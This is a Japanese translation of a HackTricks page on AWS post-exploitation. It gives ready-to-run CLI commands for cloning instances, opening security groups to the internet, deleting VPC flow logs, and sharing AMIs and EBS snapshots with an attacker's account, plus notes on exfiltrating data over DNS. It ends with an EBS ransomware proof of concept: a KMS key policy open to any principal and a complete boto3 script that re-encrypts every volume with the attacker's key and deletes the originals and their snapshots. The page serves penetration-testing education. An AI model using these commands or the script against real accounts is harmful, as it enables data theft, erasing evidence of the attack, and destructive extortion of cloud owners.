AWS - EC2, EBS, SSM & VPC Post Exploitation

HackTricksをサポートする

EC2 & VPC

詳細については、以下を確認してください:

悪意のあるVPCミラー - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPCトラフィックミラーリングは、VPC内のEC2インスタンスのために、インバウンドおよびアウトバウンドトラフィックを複製します。これは、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム(IDS)などに送信され、分析および監視されます。 攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます:

詳細については、このページを確認してください:

実行中のインスタンスのコピー

インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります(EC2特権昇格トリックを確認してください)。ただし、含まれている内容を確認する別の方法は、AMIを作成し、それから新しいインスタンスを実行することです(自分のアカウントであっても)

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS スナップショットダンプ

スナップショットはボリュームのバックアップであり、通常は機密情報を含んでいるため、これを確認することでこの情報が明らかになるはずです。 スナップショットのないボリュームを見つけた場合は、スナップショットを作成し、次のアクションを実行するか、単にアカウント内のインスタンスにマウントすることができます:

データの流出

DNS 流出

EC2をロックダウンしてトラフィックが出られないようにしても、DNS経由で流出する可能性があります。

  • VPCフローログはこれを記録しません

  • AWS DNSログへのアクセスはありません。

  • これを無効にするには、次のコマンドで "enableDnsSupport" を false に設定します:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

API コールによる流出

攻撃者は、自身が管理するアカウントのAPIエンドポイントを呼び出すことができます。Cloudtrailはこれらの呼び出しをログに記録し、攻撃者はCloudtrailログで流出したデータを見ることができます。

オープンセキュリティグループ

次のようにポートを開くことで、ネットワークサービスへのさらなるアクセスを得ることができます:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

ECSへの特権昇格

EC2インスタンスを実行し、それをECSインスタンスを実行するために登録し、その後ECSインスタンスのデータを盗むことが可能です。

詳細についてはここを確認してください

VPCフローログの削除

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

AMIを共有する

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBSスナップショットの共有

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS ランサムウェア PoC

S3 ポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが簡単であることから、Ransomware Management Service(RMS)に名前を変更するべきです。

まず、「攻撃者」AWSアカウントから、KMSにカスタマーマネージドキーを作成します。この例では、AWSが私のためにキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのプリンシパルがキーを使用できるようにします。このキーのポリシーでは、アカウントの名前は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.

これにより、アカウントに残るのは暗号化されたEBSボリュームのみとなります。

また、スクリプトはEC2インスタンスを停止して元のEBSボリュームを切り離し、削除しました。元の暗号化されていないボリュームはもうありません。

次に、'attacker'アカウントのキー ポリシーに戻り、キー ポリシーから「Outside Encryption」ポリシー ルールを削除します。

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

少々お待ちください。新しく設定されたキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームのいずれかをアタッチしようとします。ボリュームをアタッチできることがわかります。

しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。

これが使用される Python スクリプトです。これは「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開されている AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最後にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
HackTricksをサポートする

Last updated